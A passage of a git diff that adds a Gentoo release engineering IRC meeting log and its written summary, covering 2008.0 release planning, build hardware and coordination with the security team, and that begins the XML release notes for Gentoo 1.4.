+Jan 23 13:49:24 <dertobi123>	Blackb|rd: hrm i've got a 433mhz alpha standing around here ... if you could use that box ...
+Jan 23 13:49:40 <Blackb|rd>	dertobi123: I already have two alphas :)
+Jan 23 13:49:42 <wolf31o2|work>	but we've got nothing pressing?
+Jan 23 13:49:57 <Blackb|rd>	wolf31o2|work: what kind of hw is poseidon?
+Jan 23 13:50:02 <agaffney>	wolf31o2|work: get a couple of those RAM cards that taco got
+Jan 23 13:50:07 <agaffney>	Blackb|rd: amd64
+Jan 23 13:50:16 <wolf31o2|work>	Blackb|rd: dual opteron, 4g, scsi... decent, but nothing special
+Jan 23 13:50:20 <Blackb|rd>	agaffney: I meant chassis-wise.
+Jan 23 13:50:30 <Blackb|rd>	I.e. SCA?
+Jan 23 13:50:31 <agaffney>	Blackb|rd: you mean for the scsi?
+Jan 23 13:50:33 <agaffney>	ah
+Jan 23 13:50:34 <wolf31o2|work>	Blackb|rd: umm... white box
+Jan 23 13:50:54 <wolf31o2|work>	the disks are SCA, but the disk array really just needs to be replaced
+Jan 23 13:50:56 <Blackb|rd>	Depending on the needs I can get at cheap HP/Compaq universal drives.
+Jan 23 13:50:57 <wolf31o2|work>	it's only UW
+Jan 23 13:51:17 <wolf31o2|work>	internal (boot), it's sata...
+Jan 23 13:51:26 <Blackb|rd>	We're switching from SCA to SAS, so we have some drives to spare every now and then.
+Jan 23 13:51:41 <dsd_>	wolf31o2|work: i have an item to raise once this discussion is over (also have to leave in 5 mins)
+Jan 23 13:51:41 <wolf31o2|work>	agaffney: my only concern with those is they don't give us much space... they're 16GB max
+Jan 23 13:51:50 <wolf31o2|work>	dsd_: go ahead, then...
+Jan 23 13:52:03 <agaffney>	wolf31o2|work: that'll certainly do for a few concurrent catalyst builds
+Jan 23 13:52:08 <agaffney>	even for livecd
+Jan 23 13:52:15 <dsd_>	wolf31o2|work: saw the approx dates on dberkholz's summary, how do you feel about fitting 2.6.24 in there? (it'll be released any day now)
+Jan 23 13:52:40 <wolf31o2|work>	(as for the last item, what failed w/ 2007.1, I think we've got *most* covered already in this meeting, so we'll skip that one... meeting's been long enough)
+Jan 23 13:52:44 <dsd_>	hm actually, not so sure we can stable it in time
+Jan 23 13:52:55 <wolf31o2|work>	dsd_: not by the Mar 17th date?
+Jan 23 13:52:59 <dsd_>	usually like to have about 6 weeks
+Jan 23 13:53:22 <wolf31o2|work>	dsd_: we'll discuss that OOB... but we'll do the usual... you say it's ready, and we'll use it
+Jan 23 13:53:23 <agaffney>	dsd_: we'd stable in the snapshot if it would be stable by release time
+Jan 23 13:53:24 <dsd_>	ok, doable if you can cut it close again
+Jan 23 13:53:44 <dsd_>	(and assuming the release isnt horribly broken)
+Jan 23 13:53:46 <Blackb|rd>	Alpha doesn't care (much) the nast glibc futex bug affects everything since something in .21 and the non-bootyness of the ES40 is 2.6.23.* and 2.6.24* anyway.
+Jan 23 13:53:55 <wolf31o2|work>	dsd_: somewhat... I don't want to make any real last-minute changes anymore, though... so it might have to wait
+Jan 23 13:54:01 <dsd_>	ok
+Jan 23 13:54:10 <dsd_>	will talk about it in a few weeks then
+Jan 23 13:54:17 <wolf31o2|work>	we'll just take it as it comes...
+Jan 23 13:54:18 <wolf31o2|work>	yeah
+Jan 23 13:55:20 <wolf31o2|work>	ok... so about 2007.1... what failed? well... for one, I did... I simply didn't have the kind of time that I had with previous releases... also, the security team was awesome and were pumping out bugs at a very fast rate, which I couldn't keep up with... I think some mechanism for any releng to update the snapshot would help... anything else?
+Jan 23 13:55:34 <wolf31o2|work>	(that we haven't discussed)
+Jan 23 13:56:08 <dsd_>	if it's been discussed then ignore me, have we discussed date secrecy w.r.t 2008.0 to avoid that particular problem again?
+Jan 23 13:56:09 <Blackb|rd>	I think a changelog of some kind for the snapshots would be nice.
+Jan 23 13:56:24 <Blackb|rd>	but that'd come for free with a repo.
+Jan 23 13:56:36 <wolf31o2|work>	dsd_: considering we discussed the dates openly in here, I don't think there's any secrecy, but everything is going to be announced from now on
+Jan 23 13:56:39 <agaffney>	dsd_: tentative dates have been thrown around in this meeting, and the log will be public
+Jan 23 13:56:51 <dberkholz>	could you coordinate more closely with the security team IRT looking into publication times in advance
+Jan 23 13:56:53 <dsd_>	wolf31o2|work: ok, good solution :)
+Jan 23 13:56:58 <wolf31o2|work>	Blackb|rd: I was thinking a repo, actually...
+Jan 23 13:57:04 <dberkholz>	and possible doing security bugs en masse around release cycles
+Jan 23 13:57:20 <dsd_>	nice to see releng opening up a bit like that, and this meeting
+Jan 23 13:57:26 <dsd_>	gotta run, byebye
+Jan 23 13:57:26 <wolf31o2|work>	dberkholz: I actually already do that... the main problem is really brow-beating the arch teams into submission so I can update the snapshot
+Jan 23 13:57:32 <wolf31o2|work>	dsd_: bye
+Jan 23 13:58:18 <wolf31o2|work>	so, anything aside from better handling of the snapshot (security and other fixes) ?
+Jan 23 13:58:41 <wolf31o2|work>	if not, I'm going to open the floor to questions/comments...
+Jan 23 13:58:42 <Blackb|rd>	wolf31o2|work: would it be feasible/worthwhile to set a kinda deadline: "If you don't object to this snapshot within X days, you accept everything that's in it."
+Jan 23 13:59:04 <agaffney>	Blackb|rd: who is that deadline for?
+Jan 23 13:59:17 <wolf31o2|work>	Blackb|rd: that's already rather implicit, but we could explicitly state it... not sure what it would change, though... and what andrew said... heh
+Jan 23 13:59:21 <Blackb|rd>	agaffney: arch teams/whoever needs to test
+Jan 23 13:59:27 <rangerpb>	wolf31o2|work, features/functions requests?  Do via email or hold a priv meeting?
+Jan 23 13:59:58 <agaffney>	Blackb|rd: well, if something's broken, we'll fix it
+Jan 23 14:00:05 <agaffney>	if it's a late stabilization, fsck 'em :P
+Jan 23 14:00:29 <Blackb|rd>	'k
+Jan 23 14:00:58 <wolf31o2|work>	rangerpb: wait for the email on -releng, you missed it when I asked (a couple times, even) early in the meeting
+Jan 23 14:01:09 <wolf31o2|work>	rangerpb: or just wait for open floor, actually
+Jan 23 14:01:32 <wolf31o2|work>	ok... I'm opening the floor
+Jan 23 14:01:36 <rangerpb>	minor comment wolf31o2|work we're working hard to merge ppc and ppc64 teams to powerpc, as we have discussed.  We'll continue to work this and it will be reflected in the profiles and specs.  I'll make sure JoseJX completes this before first snap
+Jan 23 14:01:37 <armin76>	gtg, if something is broken, blame Blackb|rd
+Jan 23 14:01:56 <wolf31o2|work>	rangerpb: no problem... let me know if you need help
+Jan 23 14:02:01 *	wolf31o2|work sets mode -m #gentoo-releng
+Jan 23 14:02:04 <wolf31o2|work>	bleh
+Jan 23 14:02:06 <armin76>	pwned
+Jan 23 14:02:08 <wolf31o2|work>	stupid chanserv
+Jan 23 14:02:09 <rangerpb>	I think we're cool. it's largely a reorg thing
+Jan 23 14:02:19 <agaffney>	heh, I guess the channel mode is locked
+Jan 23 14:02:49 <wolf31o2|work>	yeah
+Jan 23 14:02:54 <wolf31o2|work>	one second...
+Jan 23 14:04:19 <wolf31o2|work>	that works
+Jan 23 14:04:21 <wolf31o2|work>	heh
+Jan 23 14:04:25 <fisinen>	Any changes for sparc dev?
+Jan 23 14:04:28 <m4rku5>	First of all I'd like to thank the releng team for making this meeting in the public and giving the interrested user some more insight. I definitely see some decent progress here and am looking forward to testing the 2008.0 beta since I'll have lots of free time in march :) (Oh and I'd love to get a limited Edition 2008.0 DVD)
+Jan 23 14:04:29 *	wolf31o2|work sets mode +t #gentoo-releng
+Jan 23 14:04:29 *	wolf31o2|work sets mode +c #gentoo-releng
+Jan 23 14:04:29 *	wolf31o2|work sets mode +n #gentoo-releng
+Jan 23 14:04:59 <wolf31o2|work>	fisinen: ?
+Jan 23 14:05:00 <cryptix>	m4rku5: ++ :D
+Jan 23 14:05:02 <agaffney>	fisinen: what do you mean?
+Jan 23 14:05:17 <armin76>	he means if agaffney will stop slacking!
+Jan 23 14:05:24 *	agaffney stabs armin76
+Jan 23 14:05:34 <Nysander>	it was probably discussed few times before i went to track developement of gentoo, but i want to ask if it is possible to make release media contain grub patch for hires and prettylook from suse?
+Jan 23 14:05:47 <agaffney>	Nysander: that has nothing to do with releng
+Jan 23 14:05:57 <agaffney>	Nysander: file a bug in our bugzilla
+Jan 23 14:05:59 <wolf31o2|work>	Nysander: that would be a request for the grub maintainers... we don't maintain many packages, at all
+Jan 23 14:06:02 <fisinen>	no no, we'd just like to see a wider support sparc platform
+Jan 23 14:06:13 <ryker>	I really like the store bundle idea.  People will buy it if it's something special.
+Jan 23 14:06:17 <wolf31o2|work>	Nysander: as Andrew said, file a bug and see what happens...
+Jan 23 14:06:19 <agaffney>	fisinen: wider how? this is probably a question for #gentoo-sparc
+Jan 23 14:06:24 <Nysander>	this bug is filed for long time now
+Jan 23 14:06:36 <Nysander>	and ebuild is ready
+Jan 23 14:06:58 <wolf31o2|work>	fisinen: if a sparc platform isn't supported, it's an issue with the kernel/libc/etc that the sparc team will need to fix... we simply package things
+Jan 23 14:07:06 <Nysander>	but i see this as making release media looking better
+Jan 23 14:07:08 <rullzer_>	Wow great timing. I got home at 22:30 so just finsihed reading when. I to would like to thank you for making this meeting public. Really appriciated.
+Jan 23 14:07:13 *	rullzer_ is now known as rullzer
+Jan 23 14:07:13 <RedThunderNL>	@m4rku5 Posters packed with the DVD would be awesome too!! I'd love to have one :)
+Jan 23 14:07:15 <wolf31o2|work>	Nysander: send me the bug number and I'll watch it
+Jan 23 14:07:24 <Nysander>	wolf31o2|work: one moment
+Jan 23 14:07:24 <angelos>	ok, I take it that the most important stuff is discussed? getting kinda tired heh
+Jan 23 14:07:59 <wolf31o2|work>	(can we keep the comments to a minimum if they're not questions or adding to the conversation... I *really* appreciate the thanks, but I'm also taking time out of work for this, so need to make it as quick as possible)
+Jan 23 14:08:03 <agaffney>	angelos: it's open floor, so yes :P
+Jan 23 14:08:05 <fisinen>	wolf31o2|work: ok i will check out #gentoo-sparc
+Jan 23 14:08:13 *	angelos leaves then, nn
+Jan 23 14:08:16 <agaffney>	same here...questions only, please
+Jan 23 14:08:19 <agaffney>	I'm at work
+Jan 23 14:08:19 <dberkholz>	regarding the automated building thing. what relationship does this have to solar's tinderbox? could we start distributing "unofficial" binpkgs based on this?
+Jan 23 14:08:21 <wolf31o2|work>	fisinen: they'll definitely be able to help you and discuss it further than we can
+Jan 23 14:08:38 <rullzer>	about selling dvd's. I think you do not need to bother that in western europe. You could just try to find some nice gentoo users willing to burn 4 dvd's a year
+Jan 23 14:08:39 <agaffney>	dberkholz: no proposed relationship, atm
+Jan 23 14:08:45 <infinity_d>	as far as feedback from users on releases, what type of feedback are you looking for besides features people want?  things like "this livecd isn't loading the proper video drivers for me, so i can't use X during install" (i've actually had that problem before)?
+Jan 23 14:08:50 <dberkholz>	agaffney: is it obsoleting, replacing functionality, etc?
+Jan 23 14:08:53 <wolf31o2|work>	dberkholz: it has no relationship, at all... I've been talking with him, and we'll see where we can help each other, but other than that...
+Jan 23 14:09:02 <agaffney>	dberkholz: none of the above
+Jan 23 14:09:16 <agaffney>	dberkholz: the automated builds are only for QA...not to distribute
+Jan 23 14:09:35 <m4rku5>	what kind of ios will be released with 2008.0 ? only installcd-minimal and the livecd ?
+Jan 23 14:09:37 <dberkholz>	not by releng anyway =)
+Jan 23 14:09:44 <wolf31o2|work>	infinity_d: something like that, yes... we're planning on having a little checklist for people to run through, that can be used for both the betas and also for releases... so we'll get the best info we can get
+Jan 23 14:09:44 <agaffney>	infinity_d: we definitely want feedback about bugs, and I bet you have an ATI card :P
+Jan 23 14:09:52 <agaffney>	m4rku5: probably the same as 2007.0
+Jan 23 14:10:05 <m4rku5>	ok
+Jan 23 14:10:08 <agaffney>	m4rku5: minimal/livecd/livedvd for x86/amd64 and minimal/universal/GRP for most others
+Jan 23 14:10:09 <infinity_d>	agaffney: correct, ATI mobility radeon x700
+Jan 23 14:10:21 <NeddySeagoon>	Are there any plans to make it easy to install from a USB memory stick with this release. It comes up on the forums more and more frequently ?
+Jan 23 14:10:23 <agaffney>	infinity_d: the ATI drivers were missing from the 2007.0 livecd due to a problem with the profile
+Jan 23 14:10:35 <fisinen>	one more question. How do I go about becoming a dev? I've sent emails but no response
+Jan 23 14:10:42 <agaffney>	NeddySeagoon: test it with the betas, and if it's a quick fix, we'll take care of it
+Jan 23 14:10:42 <m4rku5>	agaffney any chance users can build their own amd64 universal ? ;P
+Jan 23 14:10:51 <wolf31o2|work>	NeddySeagoon: I am planning on making sure the USB guide is correct and works...
+Jan 23 14:11:05 <Nysander>	wolf31o2|work: this feature bug id is 103272
+Jan 23 14:11:05 <NeddySeagoon>	wolf31o2|work, agaffney thanks
+Jan 23 14:11:09 <wolf31o2|work>	m4rku5: you can do that now... emerge catalyst
+Jan 23 14:11:14 <agaffney>	m4rku5: they've always been able to. you just need dev-util/catalyst and the specs from CVS
+Jan 23 14:11:29 <ColdWind>	fisinen: write to recruiters@gentoo.org (or maybe ask in #gentoo-dev-help?)
+Jan 23 14:11:34 <m4rku5>	so the specs are ready and the universal amd64 is just not distributed ?
+Jan 23 14:11:50 <wolf31o2|work>	fisinen: send an email to recruiters@gentoo.org... if you don't hear from someone in a couple days, let me know...
+Jan 23 14:11:51 <Nysander>	i use this for quite long time with different builds of kernel 2.6.23 and 2.6.24-rc
+Jan 23 14:11:55 <agaffney>	m4rku5: well, there aren't specs for x86/amd64 universal, but it's easily adapted from the minimal
+Jan 23 14:12:11 <agaffney>	m4rku5: universal is just minimal with the stages and portage snapshot overlayed
+Jan 23 14:12:17 <m4rku5>	ok i guess i gotta read up the catalyst docs
+Jan 23 14:12:25 <fisinen>	ColdWind; wolf31o2|work: thank you
+Jan 23 14:12:28 <wolf31o2|work>	m4rku5: no, you have to make your own specs... we dropped the universal a long time ago and won't be going back... the universal is identical to the minimal, except it has distfiles and stages on it, via an overlay... so it isn't hard
+Jan 23 14:13:20 <m4rku5>	ok ty :)
+Jan 23 14:13:27 <Opfer>	fisinen: -> Query
+Jan 23 14:13:48 <wolf31o2|work>	ok... thanks everyone
+Jan 23 14:13:57 <agaffney>	no more questions?
+Jan 23 14:14:01 <rbu>	one thing
+Jan 23 14:14:06 <calculus>	m4rku5: also watch for the catalyst 1.x versus 2.x and the corresponding docs
+Jan 23 14:14:23 <rbu>	wolf31o2|work: you said the last release majorly suffered from security merges. is there anything we can do to improve process this time?
+Jan 23 14:14:25 <wolf31o2|work>	don't use the online docs... they've never been updated for 2.x
+Jan 23 14:14:31 *	vorlon078_ is now known as vorlon078
+Jan 23 14:14:40 <wolf31o2|work>	I'm going to update that $soon
+Jan 23 14:14:50 <m4rku5>	ah good to know ;D
+Jan 23 14:15:07 <agaffney>	rbu: don't do a slew of security bumps during the release cycle :P
+Jan 23 14:15:07 <wolf31o2|work>	rbu: well, the main issue wasn't your team, it is pestering the arch teams, especially some of the non-security-supported ones...
+Jan 23 14:15:39 <wolf31o2|work>	rbu: for 2007.0/2007.1's release cycles, I updated *every* security update in the snapshot, not just the ones we ship
+Jan 23 14:15:49 <wolf31o2|work>	it worked fine for 7.0, but was too much for 7.1
+Jan 23 14:15:55 <rbu>	wolf31o2|work: ok, one thing: let us know when time approaches you (or who) wants to be in CC for all embargoed bugs
+Jan 23 14:16:18 <agaffney>	rbu: release@g.o, or is that too public?
+Jan 23 14:16:34 <rbu>	agaffney: can't add aliases to restricted bugs
+Jan 23 14:16:46 <agaffney>	fail
+Jan 23 14:16:46 <wolf31o2|work>	there's 2 possible "solutions" but I don't really like either... one is to go back to only updating the packages we ship... a second is to ignore the security-unsupported arches and only worry about the supported ones... that's how we used to do things... but I switched away from that long ago...
+Jan 23 14:16:47 <rbu>	since you'll have to be logged into bugz with that alias
+Jan 23 14:16:52 <wolf31o2|work>	rbu: ehh... me
+Jan 23 14:16:53 <rbu>	to view/reply
+Jan 23 14:17:12 <agaffney>	rbu: true, but we'd still get the bugmail
+Jan 23 14:17:53 <m4rku5>	btw is there any thing (as in testing stuff / reporting bugs) users could do to help before beta1 to improove 2008.0 ?
+Jan 23 14:17:57 <dberkholz>	rbu: can you do something like post just the dates and not the names of the affected packages, just that they're on the release media?
+Jan 23 14:18:06 <agaffney>	m4rku5: before beta1? not really
+Jan 23 14:18:07 <wolf31o2|work>	m4rku5: just normal bug filing
+Jan 23 14:18:07 <rbu>	agaffney: but you could not see the initial comment if you weren't cc'ed from the start
+Jan 23 14:18:12 <m4rku5>	ok
+Jan 23 14:18:16 <rbu>	wolf31o2|work: don't worry about unsupported arches, really.
+Jan 23 14:18:53 <wolf31o2|work>	rbu: well, our policy was pretty much that we updated anything that went under /releases (which is nearly everything)
+Jan 23 14:19:08 <wolf31o2|work>	rbu: where is there a list of security-supported arches?
+Jan 23 14:19:28 <rbu>	dberkholz: what do you mean by date?
+Jan 23 14:19:36 <rbu>	wolf31o2|work: http://www.gentoo.org/security/en/vulnerability-policy.xml
+Jan 23 14:19:37 <dberkholz>	rbu: embargo date
+Jan 23 14:19:52 <dberkholz>	like "there will be a security bug released on 2008/02/25 and it affects the livecd"
+Jan 23 14:20:38 <wolf31o2|work>	dberkholz: well, I've already been getting added to CC on them before they go public... it's been working fine enough... it's more the ones that already are public that have been an issue
+Jan 23 14:20:44 <rbu>	dberkholz: usually wolf would know about that by being cc'ed -- where else should it be posted?
+Jan 23 14:20:59 <dberkholz>	is he allowed to share that information with anyone else on releng?
+Jan 23 14:22:00 <rbu>	dberkholz: usually yes, if it is being communicated through private channels and it's not like 10 people, and people obey the "keep quiet" rule
+Jan 23 14:23:09 <welp>	bed, gnight
+Jan 23 14:23:14 <rbu>	if the bug is semi-private (that is, we have a public update in the tree, just the details are not public), there's no harm in saying "update this package, you know why"
+Jan 23 14:23:17 <rbu>	dberkholz: ^
+Jan 23 14:23:21 <wolf31o2|work>	rbu: would you guys welcome me recruiting someone as "security liaison" for releng? that might mitigate some of the issues... they'd be the main contact, just like with the arches
+Jan 23 14:23:51 <rbu>	wolf31o2|work: which packages would do you want to get updates in for, just those inside a stage?
+Jan 23 14:24:03 <wolf31o2|work>	usually, I just update the snapshot and don't really say why... but yeah, I pull from the rsync tree for snapshot updates... so everything is public by the time it gets in our snapshots, anyway
+Jan 23 14:25:05 <wolf31o2|work>	rbu: umm... the package list would be huge... I mean, it'd be stages + kernel + gnome/kde/xfce/X/etc + GRP packages... might be best to just have a security guy for the team and include releng as if we were just another arch
+Jan 23 14:25:20 <wolf31o2|work>	we can take care of removing ourselves if it doesn't apply to us
+Jan 23 14:25:55 <rbu>	all packages on GRP = all major packages
+Jan 23 14:26:04 <wolf31o2|work>	pretty much
+Jan 23 14:26:57 <wolf31o2|work>	I can get you a fairly comprehensive list of the packages we explicitly merge, if you like... but it changes fairly frequently...
+Jan 23 14:27:16 <rbu>	no need, i just assume "all" ;-)
+Jan 23 14:27:24 <wolf31o2|work>	rbu: probably easiest that way
+Jan 23 14:27:39 <l33tlinuxh4x0r>	hi all
+Jan 23 14:27:41 <rbu>	will you guys be watching security@ or do you need a cc?
+Jan 23 14:27:57 <agaffney>	l33tlinuxh4x0r: you're a little late, and you nick makes my eyes bleed
+Jan 23 14:28:09 <wolf31o2|work>	rbu: for the private stuff, it'l go to the coordinator... for public stuff, CC please
+Jan 23 14:28:13 <l33tlinuxh4x0r>	Yeah I guessed that I just missed the meeting
+Jan 23 14:28:26 <agaffney>	l33tlinuxh4x0r: it started 2.5 hours ago
+Jan 23 14:28:31 <agaffney>	ended ~30 minutes ago
+Jan 23 14:28:34 <rbu>	one personal comment: if in question, just get a release with some extra vulnerabilities out. you'll never fix 100%, and before cancelling, just release.
+Jan 23 14:28:41 <wolf31o2|work>	rbu: and since our release times will be announced, you'll know when our snapshot is, so you'll know when to start adding us... but I can be sure to remind you guys when we snapshot
+Jan 23 14:28:45 <l33tlinuxh4x0r>	did they discuss a release date?
+Jan 23 14:28:54 <rbu>	because compared to status quo, which is 2007.0, even a "vulnerable" release would be _less_ vulnerable
+Jan 23 14:29:05 <wolf31o2|work>	rbu: true
+Jan 23 14:29:10 <agaffney>	l33tlinuxh4x0r: you can read the meeting log once it's posted
+Jan 23 14:29:12 <l33tlinuxh4x0r>	what did I miss about 2008.0
+Jan 23 14:29:17 <l33tlinuxh4x0r>	cool
+Jan 23 14:29:20 <agaffney>	we're not going to summarize it for you
+Jan 23 14:29:25 <superfranky>	rofl
+Jan 23 14:29:27 <l33tlinuxh4x0r>	will it be posted on gentoo.org homepage?
+Jan 23 14:29:36 <rane>	hopefully
+Jan 23 14:29:37 <wolf31o2|work>	no shit... I just spent 3 hours of my life, I'm not summarizing it
+Jan 23 14:29:39 <wolf31o2|work>	heh
+Jan 23 14:29:41 <agaffney>	heh
+Jan 23 14:29:44 <l33tlinuxh4x0r>	lil
+Jan 23 14:29:46 <l33tlinuxh4x0r>	lol
+Jan 23 14:29:56 <wolf31o2|work>	yes, it'll be posted... now, do you have a question or are you just being social?
+Jan 23 14:30:04 <rbu>	wolf31o2|work: just cc us in your "we took snapshots today" mail if you send that
+Jan 23 14:30:06 <l33tlinuxh4x0r>	I was/am working and couldnt "listen" to the meeting
+Jan 23 14:30:09 <wolf31o2|work>	rbu: k
+Jan 23 14:30:13 l33tlinuxh4x0r leio lenaic likewhoa loki_val lonex lu_zero 
+Jan 23 14:30:23 <agaffney>	if you don't have an actual question, please be quiet so we can finish the open floor section of the meeting
+Jan 23 14:30:40 <wolf31o2|work>	actually, I think we're done...
+Jan 23 14:30:44 <dberkholz>	i'm summarizing it, actually.
+Jan 23 14:30:53 <rbu>	wolf31o2|work: about release<->security liaison. i guess since you'll keep oversight over things, that would be you anyway, no?
+Jan 23 14:30:56 <dberkholz>	i'll post here for review in a while
+Jan 23 14:31:02 <wolf31o2|work>	dberkholz: nice... did you log it, too?
+Jan 23 14:31:05 <agaffney>	then...do we want to put the +m back?
+Jan 23 14:31:14 <agaffney>	wolf31o2|work: phreak`` said he was logging
+Jan 23 14:31:22 <agaffney>	and I can always extract it from my logs
+Jan 23 14:31:24 <agaffney>	I always log
+Jan 23 14:31:26 <wolf31o2|work>	rbu: for now, it's me... I'm hoping to find someone else to do it, though, so I can spend time working on the other issues and such
+Jan 23 14:31:41 <dberkholz>	wolf31o2|work: looks like it logged, yeah.
+Jan 23 14:31:59 <dberkholz>	sometimes irssi gets confused, but it got this one.
+Jan 23 14:32:01 <rbu>	dberkholz: this is not part of the meeting anymore? have to write a summary for security team myself then
+Jan 23 14:32:01 <wolf31o2|work>	heh... nevermind, I logged it, too
+Jan 23 14:32:09 *	rangerpb is now known as rangerhomezzz
+Jan 23 14:32:19 <agaffney>	we've probably got ~20 different logs
+Jan 23 14:32:25 <wolf31o2|work>	rbu: this was the open floor... so kinda part of the meeting... hehe...
+Jan 23 14:32:34 <wolf31o2|work>	dberkholz: were you going to summarize the open floor, too?
+Jan 23 14:32:34 <dberkholz>	rbu: perhaps you could summarize for me what you got out of the security talk.
+Jan 23 14:32:39 <wolf31o2|work>	there we go
+Jan 23 14:32:40 <wolf31o2|work>	heh
+Jan 23 14:32:48 <rbu>	wolf31o2|work: it's ok. but i guess having an official goto guy would be good, as like for arches. then we would have docs on who to CC
+Jan 23 14:33:01 *	agaffney calls "not it"
+Jan 23 14:33:03 <dberkholz>	wolf31o2|work: last 3 things i have are a few lines each about release organization, store options, and hardware issues
+Jan 23 14:33:10 <wolf31o2|work>	rbu: right, like I said, for now, that guy is me...
+Jan 23 14:33:23 <wolf31o2|work>	dberkholz: k... can you send it to me or whatever once you've got it done?
+Jan 23 14:33:31 <dberkholz>	22:30 < dberkholz+> i'll post here for review in a while
+Jan 23 14:33:38 <wolf31o2|work>	thanks
diff --git a/xml/htdocs/proj/en/releng/meetings/20080123_initial_2008.0_summary.txt b/xml/htdocs/proj/en/releng/meetings/20080123_initial_2008.0_summary.txt
new file mode 100644
index 00000000..9d1b26f9
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/meetings/20080123_initial_2008.0_summary.txt
@@ -0,0 +1,139 @@
+2008.0 release
+--------------
+
+Tentative schedule (dates may change):
+	Feb. 1		Snapshot of the tree taken
+	Feb. 25		Docs due to GDP from release coordinators
+	Feb. 25		Snapshot frozen for beta
+	Feb. 29		Docs finalized
+	Mar. 3		Beta1 released
+	Mar. 14		Final upload
+	Mar. 17		Release
+
+To make it easier for the release engineering team to collaborate, 
+releng lead Chris Gianelloni (wolf31o2) wants all architectures to build 
+their releases on public developer machines. This also means that if an 
+architecture's release coordinator can't finish the release, anyone else 
+can pick up the work and continue.
+
+The releng team plans a few changes to profiles. Moving to multiparent 
+profiles will significantly reduce the profiles' maintenance effort and 
+code. It may happen for 2008.0; Chris said, "I am not sure that we'll 
+have time to do the profile switching, but I'm going to try to come up 
+with it. The plan will be to create 'normal' 2008.0 profiles, and I'll 
+work on making them multi-parent." Another suggested change to profiles 
+is the creation of an all-new multiparent subprofile, optimized for 
+Gentoo development. The 'developer' profile would be based on the 
+desktop profile with an additional set of FEATURES useful to developers.
+
+Chris also proposed changes to the release process, including when 
+profiles are created for future releases. "As soon as we finish up a 
+release," he said, "I'd like to go ahead and create the new release 
+stuff in the repos." That includes new catalyst spec files in the releng 
+repository, a new development profile, and possible changes to the 
+handbook. Making this change means work can immediately start instead of 
+waiting until the next release cycle, and it's also useful for automated 
+builds.
+
+Public beta releases make up a major component of the new plans. Chris 
+hopes beta releases will increase community participation as well as the 
+quality of the final release. These feature-complete public betas will 
+require the earlier development of release materials. To ensure 
+sufficient time exists for testers to take advantage of the beta, a 
+mandatory 2-week testing period will follow the beta release.
+
+A comprehensive testing checklist will be developed on the gentoo-releng 
+mailing list, as will a list of which details of testers' machines and 
+environments they should turn in to developers. Since in the past, 
+testers often provided insufficient information to releng developers 
+because their instructions weren't specific enough, a new form will 
+include all of the required questions and details. "Sadly you almost 
+want a beta that phones home as to what it was successfully run on," 
+said Tom Gall (tgall). Christian Faulhammer (opfer) suggested using a 
+hardware reporting tool such as app-admin/hwreport.
+
+Finally, Chris wants to make himself less of a single point of failure. 
+Conversion of the releng repository to SVN and maintenance of a shared 
+release checklist there will help, he said, so everyone can make updates 
+as they get things done.
+
+A question about security came from Tobias Klausmann (Blackb|rd), who 
+asked how to avoid the same problem that hit 2007.1. "Part of the 
+problem last time was that Chris was trying to update the snapshot for 
+*every* security bug," said x86 release coordinator Andrew Gaffney 
+(agaffney), "instead of just the ones that affected the media."
+
+
+Automated builds
+----------------
+
+Branching profiles and specs for the next release early will enable the 
+releng team to begin automated and regular internal release builds. 
+"They'll check out the SVN for the new release and use the new dev 
+profile," Chris said, "so we find problems and fix them year-round 
+instead of just during the release cycle."
+
+Making these internal release builds publicly accessible can be done by 
+individual architecture teams, but Chris said the releng team won't 
+distribute them automatically. This could help people with architectures 
+that require hardware support nonexistent in the last release.
+
+"My long-term goal for the automatic builds is for us to be able to use 
+them as our initial beta," Chris said. "We pick one that's as close to 
+release quality as possible, release it as beta, *then* start the 
+release cycle."
+
+
+
+How do we involve the community more?
+-------------------------------------
+
+
+Some of the most popular suggestions--addition of the public beta, 
+letting users help with beta testing, and explicitly asking for 
+feedback--were already proposed for other goals like improving release 
+quality. They may also help involve the community.
+
+Another popular idea was creating a survey to ask users for the top 
+features they want in the next release. This might happen with simple 
+infrastructure like email or the forums, since Gentoo doesn't yet have 
+anything better.
+
+The last idea for getting users involved is to simply do a good job of 
+announcing the beta. Gentoo users have many places to get information 
+(GMN, forums, website, planet, many mailing lists), so getting news 
+about the beta to anywhere more users see it will require wide 
+dissemination of the announcement.
+
+In addition to users, the releng team wants to get more developers 
+involved. Donnie Berkholz (dberkholz) suggested appealing to their 
+motivations for being a developer in the first place by doing things 
+like testing their own packages on the LiveCD. And Chris also wants to 
+get developers more actively involved rather than just being consumers.
+
+
+Other topics
+------------
+
+Using full-fledged project-management software like dotproject was 
+proposed by developer Preston Cody (codeman). Chris said he just used a 
+spreadsheet but wanted something more collaborative, so Preston 
+suggested Google Docs. For now, the release checklist will live in SVN.
+
+Switching away from the Cafepress store was also brought up. Cafepress 
+doesn't produce DVDs, but the releng team wants to encourage LiveDVD use 
+because they have so much more content. Chris is researching some 
+alternate stores.
+
+Regarding hardware, most architectures have working, hosted development 
+machines. The main amd64 dev box, poseidon, could use some faster hard 
+drives for the automated builds.
+
+Since constant security vulnerabilities forcibly canceled the 2007.1 
+release, improving how the releng team deals with them was a concern. 
+The main change will be a closer collaboration between the security team 
+and the releng team. "Releng is going to be treated just like an arch, 
+with a security liaison and everything," Chris said, "and we'll be added 
+to CC just like any other architecture. Before, I just found out about 
+stuff when either someone told me or when it hit the arch aliases I was 
+on ... neither of which was very good for planning."
diff --git a/xml/htdocs/proj/en/releng/release/1.4/x86/x86-release-notes.xml b/xml/htdocs/proj/en/releng/release/1.4/x86/x86-release-notes.xml
new file mode 100644
index 00000000..9f5c6d73
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/1.4/x86/x86-release-notes.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="x86-release-notes.xml">
+
+<title>Gentoo Linux 1.4 x86 Maintenance Release 1</title>
+<author title="Chief Architect">
+    <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+
+<abstract>Release Notes for Gentoo Linux 1.4-MR1</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>16 Oct 2003</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>This document contains information related to the Gentoo Linux 1.4 for x86 Maintenance Release 1,
+which was built and released on 11 September, 2003. Gentoo Linux 1.4-MR1 is available from our various
+<uri link="/main/en/mirrors.xml">mirrors</uri> in the <path>releases/x86/1.4</path> directory. The
